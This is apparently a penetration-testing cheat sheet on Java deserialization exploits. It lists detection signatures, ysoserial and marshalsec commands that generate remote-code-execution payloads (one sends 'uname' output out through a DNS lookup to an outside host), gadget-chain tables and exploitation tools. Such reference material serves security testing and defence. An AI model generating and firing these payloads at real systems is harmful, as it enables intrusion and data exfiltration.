# Java Deserialization

## Detection

- "AC ED 00 05" in Hex
- "rO0" in Base64
- Content-type = "application/x-java-serialized-object"
- "H4sIAAAAAAAAAJ" in gzip(base64)

## Exploit

[ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

```java
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```

payload | author | dependencies | impact (if not RCE)
------|--------|------ |------
BeanShell1          |@pwntester, @cschneider4711 |bsh:2.0b5
C3P0                |@mbechler                   |c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure             |@JackOfMostTrades           |clojure:1.8.0
CommonsBeanutils1   |@frohoff                    |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 |@frohoff                    |commons-collections:3.1
CommonsCollections2 |@frohoff                    |commons-collections4:4.0
CommonsCollections3 |@frohoff                    |commons-collections:3.1
CommonsCollections4 |@frohoff                    |commons-collections4:4.0
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
CommonsCollections6 |@matthias_kaiser            |commons-collections:3.1
FileUpload1         |@mbechler                   |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
Groovy1             |@frohoff                    |groovy:2.3.9
Hibernate1          |@mbechler|
Hibernate2          |@mbechler|
JBossInterceptors1  |@matthias_kaiser            |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient          |@mbechler|
JRMPListener        |@mbechler|
JSON1               |@mbechler                   |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1      |@matthias_kaiser            |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21             |@frohoff|
Jython1             |@pwntester, @cschneider4711 |jython-standalone:2.5.2
MozillaRhino1       |@matthias_kaiser            |js:1.7R2
Myfaces1            |@mbechler|
Myfaces2            |@mbechler|
ROME                |@mbechler                   |rome:1.0
Spring1             |@frohoff                    |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2             |@mbechler                   |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS              |@gebl| | jre only vuln detect
Wicket1             |@jacob-baines               |wicket-util:6.23.0, slf4j-api:1.6.4

## Burp extensions using ysoserial

- [JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller)
- [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)
- [Burp-ysoserial](https://github.com/summitt/burp-ysoserial)
- [SuperSerial](https://github.com/DirectDefense/SuperSerial)
- [SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active)

## Other tools

- [JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget)
- [JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [ysoserial-modified](https://github.com/pimps/ysoserial-modified)
- [gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
- [marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution

```java
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

 where
  -a - generates/tests all payloads for that marshaller
  -t - runs in test mode, unmarshalling the generated payloads after generating them.
  -v - verbose mode, e.g. also shows the generated payload in test mode.
  gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
  arguments - Gadget specific arguments
```

Payload generators for the following marshallers are included:<br />

| Marshaller                      | Gadget Impact
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0&#124;3&#124;X)     | JDK only escalation to Java serialization<br/>various third party libraries RCEs
| Hessian&#124;Burlap             | various third party RCEs
| Castor                          | dependency library RCE
| Jackson                         | **possible JDK only RCE**, various third party RCEs
| Java                            | yet another third party RCE
| JsonIO                          | **JDK only RCE**
| JYAML                           | **JDK only RCE**
| Kryo                            | third party RCEs
| KryoAltStrategy                 | **JDK only RCE**
| Red5AMF(0&#124;3)               | **JDK only RCE**
| SnakeYAML                       | **JDK only RCEs**
| XStream                         | **JDK only RCEs**
| YAMLBeans                       | third party RCE


## References

- [Github - ysoserial](https://github.com/frohoff/ysoserial)
- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
- [Jackson CVE-2019-12384: anatomy of a vulnerability class](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
- [On Jackson CVEs: Don’t Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)